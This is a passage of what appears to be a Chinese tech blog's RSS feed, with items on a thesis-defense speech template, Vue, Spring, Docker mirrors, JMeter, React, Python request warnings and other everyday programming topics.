《**********》。&#xA;本篇论文是在xx老师的指导下完成的。在这期间，*老师对我的论文进行了详细的修改和指正，并给予我许多宝贵的建议。在此，我非常感谢她一直以来的精心指导，同时也对各位评审能在百忙之中抽出宝贵的时间，参与论文的审阅和答辩表示不胜感激。下面我就把论文的基本思路向各位答辩老师作如下简要陈述：&#xA;一、选题缘由&#xA;选择本课题作为我论文的写作题材的原因如下：******&#xA;二、资料收集准备工作&#xA;选定题目后，为了完成论文，我进行了资料收集，拟定提纲，论文初稿、修改、定稿等一系列程序。在毕业论文的准备和写作过程中，我阅读了大量的***方面的相关书籍和学术期刊论文，这得益于我们学校图书馆丰富的参考书籍和中国学术期刊网中的专业论文。&#xA;三、论文的结构和内容&#xA;本文共分成*部分：&#xA;第一部分主要阐述了******&#xA;第二部分主要******&#xA;第三部分主要阐述了******&#xA;第四部分是******&#xA;第******&#xA;本篇论文已经完成，还有许多的地方需要更全面的改进，但总的来说，在撰写的过程中，我真实地学到了许多东西，也积累了不少经验，更进一步丰富了自己的知识。但由于个人能力不足，加之时间和精力有限，在许多内容表述、论证上存在着不当之处，与老师的期望还有差距，许多问题还有待进行一步思考和探究，借此答辩机会，希望各位老师能够提出宝贵的意见，指出我的错误和不足之处，我将虚心接受，从而进一步深入学习，使该论文得到完善和提高。&#xA;我的答辩自述完毕，谢谢各位老师！&#xA;实例二 一、 开场i白&#xA;各位老师，上午好！我叫……，是……级……班的学生，我的论文题目是……。论文是在……导师的悉心指点下完成的，在这里我向我的导师表示深深的谢意，向各位老师不辞辛苦参加我的论文答辩表示衷心的感谢，并对四年来我有机会聆听教诲的各位老师表示由衷的敬意。下面我将本论文设计的目的和主要内容向各位老师作一汇报，恳请各位老师批评指导。&#xA;二、 内容&#xA;首先，我想谈谈这个毕业论文设计的目的及意义。……&#xA;其次，我想谈谈这篇论文的结构和主要内容。&#xA;本文分成……个部分.&#xA;第一部分是……。这部分主要论述……&#xA;第二部分是……。这部分分析……&#xA;第三部分是……&#xA;三、 结束语&#xA;最后，我想谈谈这篇论文和系统存在的不足。&#xA;这篇论文的写作以及修改的过程，也是我越来越认识到自己知识与经验缺乏的过程。虽然，我尽可能地收集材料，竭尽所能运用自己所学的知识进行论文写作，但论文还是存在许多不足之处，有待改进。请各位评委老师多批评指正，让我在今后的学习中学到更多。&#xA;谢谢！&#xA;实例三 各位老师，下午好！ 我叫***，是xxxx的学生，我的论文题目是--------------------，论文是在**导师的悉心指点下完成的，在这里我向我的导师表示深深的谢意，向各位老师不辞辛苦参加我的论文答辩表示衷心的感谢，并对三年来我有机会聆听教诲的各位老师表示由衷的敬意。下面我将本论文设计的目的和主要内容向各位老师作一汇报，恳请各位老师批评指导。&#xA;首先，我想谈谈这个毕业论文设计的目的及意义。&#xA;作为计算机应用的一部分,图书销售管理系统对图书销售进行管理,具有着手工管理所无法比拟的优点,极大地提高图书销售管理效率及在同行业中的竞争力.因此，图书销售管理系统有着广泛的市场前景和实际的应用价值.&#xA;其次，我想谈谈这篇论文的结构和主要内容。&#xA;本文分成五个部分.&#xA;第一部分是综述.这部分主要论述本系统开发的目的和意义，与业务相关的管理原理，以及与系统相关MIS系统开发原理与方法。&#xA;第二部分是系统分析.这部分分析用户需求,进行调查研究和分析,目的是根据用户的需求和资源条件,以现状为基础,确定新系统的逻辑模型,即从抽象的信息管理角度出发,为使用户满意,系统应对哪些信息做怎样一些存储、变换与传递，具备哪些功能，从而明确系统应该做些什么。&#xA;第三部分是系统设计.通过系统总体设计及详细设计对系统分析的结果进行整合,目的是要得到一个令用户满意的良好的实现方案。&#xA;第四部分是系统实现.根据系统设计的内容，讨论了该系统对人员与平台的要求,以及数据库表结构的建立与数据输入,并进行应用程序设计与测试.&#xA;第五部分是系统运行.这部分描述了系统操作使用的方法,进行一些系统测试，并评价了该系统.&#xA;最后，我想谈谈这篇论文和系统存在的不足。&#xA;这篇论文的写作以及系统开发的过程，也是我越来越认识到自己知识与经验缺乏的过程。虽然，我尽可能地收集材料，竭尽所能运用自己所学的知识进行论文写作和系统开发，但论文还是存在许多不足之处,系统功能并不完备，有待改进.请各位评委老师多批评指正，让我在今后的学习中学到更多。&#xA;谢谢！</description>
    </item>
    <item>
      <title>$nextTick 用法与原理</title>
      <link>https://bchobby.github.io/posts/d7268fc8e8b74b53aed8617a9d7121fd/</link>
      <pubDate>Wed, 11 May 2022 09:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7268fc8e8b74b53aed8617a9d7121fd/</guid>
      <description>一、 $nextTick 用法与原理：&#xA;在Vue 中更新DOM 是异步的， nextTick的主要应用的场景及原因。&#xA;1、在Vue生命周期的created()钩子函数进行的DOM操作一定要放在Vue.nextTick()的回调函数中&#xA;在 Vue生命周期函数中 created钩子函数中： DOM 并没有进行任何渲染， 而此时进行DOM 操作无异于是徒劳的， 所以此处一定将DOM 操作的js 代码放进Vue.nextTick 回调函数中， 与之对应的就是mounted()。&#xA;钩子函数， 因为该钩子函数执行时所有的DOM 挂载和渲染都已经完成， 此时在该钩子函数中进行任何操作都不会有问题。&#xA;2、在数据变化后要执行某个回调函数，而这个操作需要使用随数据改变而改变的DOM结构的时候， 这个操作都应该放进Vue.nextTick () 回调函数中。&#xA;3、Vue的官方文档中详细解释：&#xA;vue 执行dom 更新是异步的， 只要是观察到数据变化， vue 将会开启一个队列， 并缓冲在同一事件循环中发生的所有数据改变。 如果同一个watcher 被多次触发，只会被推如到队列中一次。 在这种缓冲时去除重复数据对于避免不必要的计算， 和DOM 操作非常重要。 然后下一个事件循环 “tick”中， vue 刷新队列执行实际（去重）工作。 在Vue 内部尝试对异步队列使用原生的promise.then 和 MessageChange，如果执行环境不支持， 会采用setTime（（）=&amp;gt; {} , 0）代替。</description>
    </item>
    <item>
      <title>Spring基础入门详解与实践</title>
      <link>https://bchobby.github.io/posts/601d1dbd45a2314bd3e92fec3609ddf7/</link>
      <pubDate>Wed, 11 May 2022 09:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/601d1dbd45a2314bd3e92fec3609ddf7/</guid>
      <description>【1】基础概念 Spring是轻量级的开源的JavaEE框架，它是一个全面的、企业应用开发一站式的解决方案，贯穿表现层、业务层、持久层，可以和其他的框架无缝整合。&#xA;这里Spring框架其实我们指的是spring-framework，此外其projects还有SpringBoot、SpringData等。&#xA;Spring官网地址：https://spring.io/&#xA;Spring版本下载地址：https://repo.spring.io/ui/native/release/org/springframework/spring/&#xA;文档目录地址：https://docs.spring.io/spring-framework/docs/current/reference/html/&#xA;如下所示，目前稳定可用的是5.3.15版本(General Availability,正式发布的版本，官方推荐使用此版本。)&#xA;① Spring特征 轻量&#xA;Spring 是非侵入性的， 基于 Spring 开发的应用中的对象可以不依赖于 Spring 的 API。其完整框架大小jar只有1M多，且其所需要的处理开销很小。&#xA;控制反转(依赖注入)&#xA;Spring通过一种称作控制反转的IOC技术促进了低耦合。当应用了IOC，一个对象依赖的其他对象会通过被动的方式传递进来，而不是这个对象自己创建或查找需要的对象。&#xA;面向切片(AOP-aspect oriented programming)&#xA;Spring支持面向切片编程，把应用业务逻辑和系统服务分离开来。典型应用比如系统日志采集。&#xA;容器&#xA;Spring 是一个容器, 因为它包含并且管理应用对象的生命周期。Spring 提供了两种类型的 IOC 容器实现：BeanFactory-IOC 容器的基本实现 和 ApplicationContext-提供了更多的高级特性，是 BeanFactory 的子接口。&#xA;BeanFactory 是 Spring 框架的基础设施，面向 Spring 本身。ApplicationContext 面向使用 Spring 框架的开发者，几乎所有的应用场合都直接使用 ApplicationContext 而非底层的 BeanFactory。&#xA;框架&#xA;Spring 实现了使用简单的组件配置组合成一个复杂的应用。在 Spring 中可以使用 XML 和 Java 注解组合这些对象，Spring也提供了很多基础功能(事务管理、持久化框集成等)，将应用逻辑的开发留给程序员。&#xA;主要包说明如下表&#xA;包说明org.springframework.corespring和核心包负责IOC基本实现org.springframework.beans顾名思义，bean的管理org.springframework.aopSpringAOP面向切面编程实现org.springframework.context提供在基础IOC功能上的扩展服务，比如邮件服务、任务调度、JNDI定位等org.springframework.context.supportspring context的扩展支持，用于MVC方面org.springframework.webweb应用开发时需要的核心类org.springframework.web.mvcspringMVC应用开发时的核心类org.springframework.transaction为JDBC、JPA等提供的一套事务管理org.springframework.test对junit等测试框架的封装org.springframework.expressionSpringEL表达式语言org.springframework.jdbc对JDBC的简单封装org.springframework.jms为简化JSM简单实用做的封装org.springframework.orm整合第三方ORM实现比如hibernate、jpaorg.springframework.oxmSpring对object/xml的支持，可以让对象与xml相互转换org.springframework.web.portletSpringMVC 的增强org.springframework.web.servlet对servlet3.0的支持org.springframework.instrumentSpring对服务器的代理接口org.springframework.instrument.tomcatSpring对Tomcat的集成org.org.springframework.asmSpring3.0开始提供自己独立的asm包 ② Spring功能模块 ① Core Container核心容器 Spring 的核心容器是其他模块建立的基础，由 Beans 模块、Core 核心模块、Context 上下文模块和 SpEL 表达式语言模块组成。</description>
    </item>
    <item>
      <title>如何拿到浏览器请求的所有url</title>
      <link>https://bchobby.github.io/posts/20604095edfd9ebbcac3559c99244a62/</link>
      <pubDate>Tue, 10 May 2022 21:58:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20604095edfd9ebbcac3559c99244a62/</guid>
      <description>需要先把所有的请求给拿到。例如下面这样&#xA;然后进入console里面，输入a = 然后粘贴刚才复制的部分，如果不让粘贴，按照浏览器要求的allow pasting 进行粘贴。&#xA;然后粘贴成功之后，执行&#xA;b = a.log.entries.map(e=&amp;gt;e.request.url) 就可以拿到所有请求的url了。&#xA;也可以根据自己的需要做一些url的处理。&#xA;参考: https://gist.github.com/cvan/03ffa0c71317cb6b0b95a41ab189b097</description>
    </item>
    <item>
      <title>Linux-ubuntu20.04 docker的镜像加速配置</title>
      <link>https://bchobby.github.io/posts/662fb7def56448c8a77a57cbe081e385/</link>
      <pubDate>Tue, 10 May 2022 21:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/662fb7def56448c8a77a57cbe081e385/</guid>
      <description> Linux-ubuntu20.04 docker的镜像加速配置 建立demon.json 配置docker国内镜像加速 #1、 建立deamon.json 配置docker国内镜像加速地址 $ sudo vim /etc/docker/daemon.json #添加镜像的内容如下： { &#34;registry-mirrors&#34;: [ &#34;https://docker.mirrors.ustc.edu.cn&#34;, &#34;https://hub-mirror.c.163.com/&#34;, &#34;https://reg-mirror.qiniu.com&#34;, &#34;https://registry.docker-cn.com&#34;] } #2、添加完成之后重启docker服务 sudo systemctl reload docker sudo systemctl restart docker #注意：如果重启docker服务时遇到 docker.service is not active,cannot reload问题需要重启ubuntu系统 #3、查看docker 相关信息 sudo docker info #使用命令之后在最后几行出现一下信息代表配置成功 Registry Mirrors: https://docker.mirrors.ustc.edu.cn/ https://hub-mirror.c.163.com/ https://reg-mirror.qiniu.com/ https://registry.docker-cn.com/ </description>
    </item>
    <item>
      <title>vivado错误记录</title>
      <link>https://bchobby.github.io/posts/606e38867355e1de46222a49fc2d3995/</link>
      <pubDate>Tue, 10 May 2022 20:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/606e38867355e1de46222a49fc2d3995/</guid>
      <description> Cannot set property ‘PACKAGE_PIN’, because the property does not exist for objects of type ‘pin’ 可能的问题：&#xA;输入输出端口类型与相应IP不对应，如ddr4中的 c0_ddr4_dq为inout类型 [Synth 8-685] variable ‘nvme_regs_douta’ should not be used in output port connection 可能的原因：&#xA;输出采用reg变量 vivado：mixed level sensitive and edge triggered event controls are not supported for synthesis 在always块的敏感列表中既有边沿触发又有电平触发，如下面代码： always @(posedge clk or rst_n) begin ... end // 修改为 always @(posedge clk or negedge rst_n) begin ... end </description>
    </item>
    <item>
      <title>显示完整columns</title>
      <link>https://bchobby.github.io/posts/327db6fba7df8acb64de07f12c7fadcb/</link>
      <pubDate>Tue, 10 May 2022 17:57:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/327db6fba7df8acb64de07f12c7fadcb/</guid>
      <description> 先把它转换成列表，然后输出，即可&#xA;import os import pandas as pd import numpy as np import xlwings as xw Un = 230 data = pd.read_csv(&#39;5%Pn interharmonic.csv&#39;) pd.set_option(&#39;display.max_columns&#39;,None) pd.set_option(&#39;max_colwidth&#39;,100) pd.set_option(&#39;display.max_rows&#39;,None) pd.set_option(&#39;display.width&#39;, 1000) # 设置字符显示宽度 pd.set_option(&#39;display.max_rows&#39;, None) # 设置显示最大 print(list(data.columns)) </description>
    </item>
    <item>
      <title>Windows下不用敲一行命令使用webstorm将代码上传至Gitlab已经存在的库</title>
      <link>https://bchobby.github.io/posts/dc30ee22123b770c6d7d8580a6c0162d/</link>
      <pubDate>Tue, 10 May 2022 17:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc30ee22123b770c6d7d8580a6c0162d/</guid>
      <description>前言 Git这个神器对于程序员来说并不陌生了。用git当代码其实比较简单，使用一行命令&#xA;git clone http://xx.xx.xx.xx.git 就可以完成了。但是上传代码就比这复杂多了。鄙人也是踩了很多次坑，可能之前成功后没做记录，隔段时间再做就忘了。三天不练手生，这句话还是有点道理的。所以，这里留下一些笔记，供自己也供大家参考。&#xA;首先我对于web开发习惯用webstorm。别跟我提vscode。后者除了ts的支持稍微比webstorm好点，其余完败。毕竟前者是收费的。言归正传。用webstorm上传代码到github其实比较简单，因为默认集成了github的插件。上传到gitee也简单，可以从插件市场下载gitee的插件。但是上传代码到gitlab就不怎么简单了。&#xA;注意，上传代码到git的前提就是要先安装git.下载完后，一路无脑点击安装就行。默认安装在C盘,建议不要修改路径，因为webstorm会默认匹配这个git.exe的执行文件路径。当然不嫌麻烦也可以自己手动修改。&#xA;我的webstorm安装了中文插件，ws的版本的2022.1。后面的操作以此版本进行讲解。&#xA;解决方式 一、纯命令行方式 PS:注意，windows下使用命令行模式最好在powershell下面运行，而不是普通的win+R，不然可能会出现一堆的莫名其妙的问题。webstorm的terminal就打开的是windows的powershell。&#xA;回到正题。&#xA;网上搜索得到的结果，清一色地类似:&#xA;先cd到需要上传的文件夹的根目录，然后分别键入&#xA;git init git remote add origin https://xx/xx/xx/xx.git git add . git commit -m &#34;Initial commit&#34; git push -u origin master 这些操作还算标准，但是你自己去操作的话就会出现很多问题。具体什么问题，我就不详解了，你可以自己试试。下面我就来说说webstorm自带的git管理上传。&#xA;二、使用Webstorm上传 这里，我先建了一个gitTest的项目，用于演示&#xA;然后我在gitlab那边新建了一个GitLabUploadTest的空仓库。并且为了模拟那些喜欢加README文件的手痒党，我也默认加了readme(为什么我会提到这个文件。因为有些时候建库的不是我们自己，而且我们的权限也没有master的权限。但是建库的人就喜欢多这一步，给你生成一个README。这样一来，他们不写代码，苦了我们自己，上传的时候如果我们存在的项目有README了，那就绝对冲突，导致上传失败，淦)。&#xA;然后我们回到webstorm,找到VCS-&amp;gt;创建Git仓库&#xA;默认的话就是指向当前项目，然后选择确定&#xA;这个时候，项目的文件名字会变颜色&#xA;并且VCS那个选项会变成Git&#xA;我们点击这个Git选项，选择管理远程&#xA;然后会弹出下面的窗口&#xA;点击+号&#xA;会要求我们输入URL,此时我们回到浏览器，找到我们新建的gitlab仓库首页，选择clone&#xA;拷贝http的那个以git结尾的链接，粘到前面的URL输入框里面。&#xA;然后，点击确定。&#xA;需要注意的时，如果这是第一次添加这个域下的gitla时，还会弹出一个你登录该gitlab的账号密码输入框。校验成功后，就将该项目绑在远程的gitlab上面了。&#xA;为了防止冲突，我们先将项目里面的READMEy移到另外一个地方。&#xA;然后右键项目名字，选到Git-&amp;gt;添加&#xA;然后文件又会变颜色(绿色)&#xA;接着再右键，选择Git-&amp;gt;提取,来获得远程有哪些分支。这一步的操作就是防止，我们没有master分支的权限，导致提交失败。一般来讲，建库的人给我们分配的只有develop分支的上传权限，因此我们要先看一下远程上有哪些分支，然后同步到本地，并切换到有权限的分支，然后上传。&#xA;因为我们这个项目只有一个master分支，所以拉下来的只有这个分支，然后点击右下角的master图标&#xA;找到origin/master，并选择签出,此时就等同于完全与远程建立好了链接，并且代码库也准备好了同步。&#xA;这时我们再把之前备份的README覆盖现有的README,文件名会变颜色。&#xA;然后我们邮件Git-&amp;gt;提交&#xA;然后键入提交备注&#xA;点击提交,成功的话，左下角会提示&#xA;接着，再次邮件，选到推送&#xA;然后点击推送&#xA;然后就会显示&#xA;此时再去gitlab页面刷新一下</description>
    </item>
    <item>
      <title>前端分页代码实现简要思路</title>
      <link>https://bchobby.github.io/posts/7e443462f9abbb795a79ba4168d139ef/</link>
      <pubDate>Tue, 10 May 2022 17:20:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e443462f9abbb795a79ba4168d139ef/</guid>
      <description>list : null, //table当前所要展示的数据 total : 0, //返回过来的消息总条数 pageIndex : 1, //当前所在页数 pageSize : 10, //一页要展示10条数据 tableData : [], //一次性后端返回过来的数据 //当点击页面跳转时调用这个方法 pageChange:(pageIndex) { var _this = this; if (_this.tableData) { if (pageIndex) { _this.pageIndex = pageIndex; } _this.list = _this.tableData.slice( (_this.pageIndex - 1) * _this.pageSize, _this.pageIndex * _this.pageSize ); console.log(_this.list); } else {} }, getTableData(){ _this.$http.post(&#39;/api/getAllTableData&#39;,params) .then(res =&amp;gt;{ // 请求接口成功之后,获取列表所有数据 _this.tableData = billArr.result; _this.total = res.data.result.length; _this.list = _this.tableData.slice( (_this.</description>
    </item>
    <item>
      <title>HAL 库使用printf函数</title>
      <link>https://bchobby.github.io/posts/6fb12b93806a9be48f5913db8bfaccee/</link>
      <pubDate>Tue, 10 May 2022 17:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fb12b93806a9be48f5913db8bfaccee/</guid>
      <description>#include &#34;main.h&#34;&#xA;#include &#34;adc.h&#34;&#xA;#include &#34;usart.h&#34;&#xA;#include &#34;gpio.h&#34;&#xA;/* Private includes ----------------------------------------------------------*/&#xA;/* USER CODE BEGIN Includes */&#xA;#include &#34;stdio.h&#34;&#xA;#ifdef __GNUC__&#xA;#define PUTCHAR_PROTOTYPE int __io_putchar(int ch)&#xA;#else&#xA;#define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f)&#xA;#endif&#xA;PUTCHAR_PROTOTYPE&#xA;{&#xA;HAL_UART_Transmit(&amp;amp;huart3,(uint8_t *)&amp;amp;ch,1,0xFFFF);//??????&#xA;return ch;&#xA;}&#xA;/* USER CODE END Includes */&#xA;/* Private typedef -----------------------------------------------------------*/&#xA;/* USER CODE BEGIN PTD */&#xA;/* USER CODE END PTD */&#xA;/* Private define ------------------------------------------------------------*/</description>
    </item>
    <item>
      <title>React学习（状态数据更新）</title>
      <link>https://bchobby.github.io/posts/9fd02e6a3a9105dcaf751ef562fe9930/</link>
      <pubDate>Tue, 10 May 2022 16:54:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fd02e6a3a9105dcaf751ef562fe9930/</guid>
      <description>学习目标： 提示：两个小时学会React状态数据更新&#xA;例如：&#xA;两个小时学会React状态数据更新 学习内容： 提示：学会React状态数据更新&#xA;（6）状态数据更新 React特性是单向数据流，也就是所谓的单向数据绑定，数据的更新包含数据模块更新以及视图更新两部分&#xA;直接修改变量数据，变量数据更新，但是视图不会同步更新，这就是单向数据流推荐：更新变量数据，通过this.setState({key: value, key2: value, ...})的形式进行更新，既能更新变量数据，同时也会推送更新视图界面不推荐：直接更新变量数据，最后通过调用this.setState({})刷新视图界面注意：setState({})是一个异步函数 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&#34;../../js/react17.0.2.development.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../../js/react-dom17.0.2.development.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../../js/babel.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/babel&#34;&amp;gt; // 使用React的组件化 class Home extends React.Component { state = { pageTitle: &#34;系统首页&#34;, flag: true } changeLanguage1() { //直接修改数据， 不会同步视图界面 if (this.flag){ this.state.pageTitle = &#34;系统首页&#34; this.flag = false console.log(&#34;111&#34;) } else { this.state.pageTitle = &#34;SYSTEM HOME&#34; this.flag = true console.</description>
    </item>
    <item>
      <title>Python屏蔽InsecureRequestWarning报错</title>
      <link>https://bchobby.github.io/posts/26800a552b5668deb1f037050d998713/</link>
      <pubDate>Tue, 10 May 2022 16:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26800a552b5668deb1f037050d998713/</guid>
      <description> 使用Python3 requests发送HTTPS请求，在关闭SSL认证（verify=False）的情况下：&#xA;import requests response = requests.get(url=&#39;http://127.0.0.1:12345/test&#39;, verify=False) 会出现如下错误：&#xA;InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings&#xA;解决：&#xA;#python3 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #python2 from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) PS：如下所示，disable_warnings()代表屏蔽全部warning类型。&#xA;def disable_warnings(category=exceptions.HTTPWarning): &#34;&#34;&#34; Helper for quickly disabling all urllib3 warnings. &#34;&#34;&#34; warnings.simplefilter(&#34;ignore&#34;, category) </description>
    </item>
    <item>
      <title>jmeter——生成多样的接口自动化html报告</title>
      <link>https://bchobby.github.io/posts/5de5ee448a1422d3faa1babad5e58261/</link>
      <pubDate>Tue, 10 May 2022 15:33:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5de5ee448a1422d3faa1babad5e58261/</guid>
      <description>jmeter——生成多样的接口自动化html报告 一、实现目的二、实现效果1、jmter自带的HTML报告2、jmeter+ant报告优化3、批量执行jmeter工具4、jmeter+allure生成测试报告 三、实现方案1、jmeter自带的HTML报告2、jmeter+ant优化测试报告3、使用jmeter脚本批量执行工具生成4、jmeter+allure生成测试报告 四、遗留问题 一、实现目的 对于接口自动化来说有很多工具和框架来实现，比较常遇到的实现工具非jmeter莫属啦；&#xA;简单的界面、轻巧的安装配置、完善的功能、学习成本低这就导致了jmeter是很多人的首选；&#xA;特别是代码基础薄弱的同学，更加适合借助此工具实现接口自动化，而且做接口、性能测试也是极为方便；&#xA;对于自动化来说有一个是必不可少的，测试报告，可以对外提供的测试报告，本文就聊一聊jmeter实现接口自动化测试报告的&#xA;提供方案，当前提供四种方案来实现，各有优缺建议选择适合项目要求的的方案实现。&#xA;二、实现效果 接下来我们聊一下四种方案分别可以实现的html报告效果&#xA;1、jmter自带的HTML报告 2、jmeter+ant报告优化 3、批量执行jmeter工具 4、jmeter+allure生成测试报告 三、实现方案 1、jmeter自带的HTML报告 接口自动化HTML&#xA;（1）实现方式是通过ant来调用biud文件来实现的&#xA;首先是ant安装和环境变量配置：https://blog.csdn.net/tangsl666/article/details/79431037&#xA;【注意】：首先查一下本地的JDK版本，1.8以上的建议下载ant1.10，1.8以下的建议下载ant1.9&#xA;（2）把apache-jmeter-5.3\extras目录下的ant-jmeter-1.1.1.jar复制到apache-ant-1.9.16\lib目录下&#xA;（3）创建一个build.xml文件修改build内容，修改为如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project name=&#34;ant-jmeter-test&#34; default=&#34;run&#34; basedir=&#34;.&#34;&amp;gt; &amp;lt;tstamp&amp;gt; &amp;lt;format property=&#34;time&#34; pattern=&#34;yyyyMMddhhmm&#34; /&amp;gt; &amp;lt;/tstamp&amp;gt; &amp;lt;property name=&#34;basedirectory&#34; value=&#34;F:\20220425\apache-jmeter-5.3\extras&#34; /&amp;gt; &amp;lt;!-- 需要改成自己本地的 Jmeter 目录--&amp;gt; &amp;lt;property name=&#34;jmeter.home&#34; value=&#34;F:\20220425\apache-jmeter-5.3&#34; /&amp;gt; &amp;lt;!-- jmeter生成jtl格式的结果报告的路径--&amp;gt; &amp;lt;property name=&#34;jmeter.result.jtl.dir&#34; value=&#34;F:\20220425\jmeterAnt\jtl&#34; /&amp;gt; &amp;lt;!-- jmeter生成html格式的结果报告的路径--&amp;gt; &amp;lt;property name=&#34;jmeter.result.html.dir&#34; value=&#34;F:\20220425\jmeterAnt\html&#34; /&amp;gt; &amp;lt;!-- Name of test (without .jmx) --&amp;gt; &amp;lt;property name=&#34;</description>
    </item>
    <item>
      <title>SpringMVC(未完)</title>
      <link>https://bchobby.github.io/posts/9dcf5209325571f0bdc2fe8b88a14760/</link>
      <pubDate>Tue, 10 May 2022 14:29:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dcf5209325571f0bdc2fe8b88a14760/</guid>
      <description>目录&#xA;一、SpringMVC简介&#xA;1、什么是MVC&#xA;2、什么是SpringMVC&#xA;3、SpringMVC的特点&#xA;二、准备&#xA;三、@RequestMapping注解&#xA;1、@RequestMapping注解的功能&#xA;2、@RequestMapping注解的位置&#xA;3、@RequestMapping注解的value属性&#xA;4、@RequestMapping注解的method属性&#xA;5、@RequestMapping注解的params属性（了解）&#xA;6、@RequestMapping注解的headers属性（了解）&#xA;7、SpringMVC支持ant风格的路径&#xA;8、SpringMVC支持路径中的占位符（重点）&#xA;9、get/post的区别！！！！！！！！！！！！！！！！！！！！！！！！&#xA;10、一些注意点&#xA;四、SpringMVC获取请求参数&#xA;1、通过ServletAPI获取&#xA;2、通过控制器方法的形参获取请求参数&#xA;3、@RequestParam&#xA;4、@RequestHeader&#xA;5、@CookieValue&#xA;6、通过POJO获取请求参数&#xA;7、解决获取请求参数的乱码问题&#xA;五、域对象共享数据&#xA;1、概述&#xA;2、使用ServletAPI向request域对象共享数据&#xA;3、使用ModelAndView向request域对象共享数据&#xA;4、使用Model向request域对象共享数据&#xA;5、使用map向request域对象共享数据&#xA;6、使用ModelMap向request域对象共享数据&#xA;7、Model、ModelMap、Map的关系&#xA;8、向session域共享数据&#xA;9、向application域共享数据&#xA;六、SpringMVC的视图&#xA;1、ThymeleafView&#xA;2、转发视图&#xA;3、重定向视图&#xA;4、视图控制器view-controller-在springMVC.xml文件中配置&#xA;5、请求转发和重定向的区别&#xA;七、RESTful p50/53的源码还没看&#xA;1、RESTful简介&#xA;2、RESTful的实现&#xA;3、DELETE 用来删除资源：&#xA;八、HttpMessageConverter&#xA;1、@RequestBody-这是注解，标识形参&#xA;2、RequestEntity-这是类型&#xA;3、@ResponseBody-注解，标识方法&#xA;4、SpringMVC处理json&#xA;5、注解驱动的作用&#xA;6、SpringMVC处理ajax&#xA;7、@RestController注解&#xA;8、ResponseEntity&#xA;九、文件上传和下载&#xA;1、文件下载&#xA;2、文件上传&#xA;十、拦截器&#xA;1、拦截器的配置&#xA;2、拦截器的三个抽象方法&#xA;3、多个拦截器的执行顺序&#xA;十一、异常处理器&#xA;十二、注解配置SpringMVC&#xA;1、创建初始化类，代替web.xml&#xA;一、SpringMVC简介 1、什么是MVC M:模型层（model）包括service，dao，pojo</description>
    </item>
    <item>
      <title>如何把插件提交到WordPress？</title>
      <link>https://bchobby.github.io/posts/c337b0b842dfd47e73ab479da18df970/</link>
      <pubDate>Tue, 10 May 2022 13:20:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c337b0b842dfd47e73ab479da18df970/</guid>
      <description>最近写了一个开源了一个小的插件:Auto Generate Navigation,提交到WordPress碰到了许多坑，这里就简单记录一下。&#xA;如需了解更多，请访问: https://www.emperinter.info/2022/05/10/how-to-submit-plug-ins-to-wordpress/&#xA;插件编写 主题代码编写 这里就说几个我踩过的坑&#xA;CSS和JS的引用方式 wp_register_style(&#39;plugin_stylesheet_css&#39;, plugins_url(&#39;autoc.css&#39;, __FILE__)); wp_enqueue_style(&#39;plugin_stylesheet_css&#39;); wp_register_script(&#39;plugin_stylesheet_js&#39;, plugins_url(&#39;autoc.min.js&#39;, __FILE__)); wp_enqueue_script(&#39;plugin_stylesheet_js&#39;); 层级目录如下图:&#xA;插件名称的确定,文件名最好就是xxx-xxx-xxx格式，均为小写。我这里是auto-generate-navigation。&#xA;函数的命名一定要特别，以防止和其它插件函数名称冲突。&#xA;readme.txt的编写,其中尤其是版本那一块需要特别注意。&#xA;=== 插件名称 === Contributors: WordPress.org 的用户名 Tags: 插件的标签，比如 spam Donate link: 捐款链接地址 Requires at least: 最低 WordPress 版本 Tested up to: 最高测试的 WordPress 的版本 Requires PHP: 所需 php 版本 Stable tag: 稳定版标签，如 1.0 License: 开源协议 License URI: 协议地址 这里是短描述，会展示在列表中 == Description == 这里是长描述，会展示在独立的页面中 == Installation == 具体的安装说明 == Frequently Asked Questions == 1.</description>
    </item>
    <item>
      <title>怎样改变conda创建虚拟环境的python版本</title>
      <link>https://bchobby.github.io/posts/54dec76041454c7e65412b03b1496f42/</link>
      <pubDate>Tue, 10 May 2022 11:32:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54dec76041454c7e65412b03b1496f42/</guid>
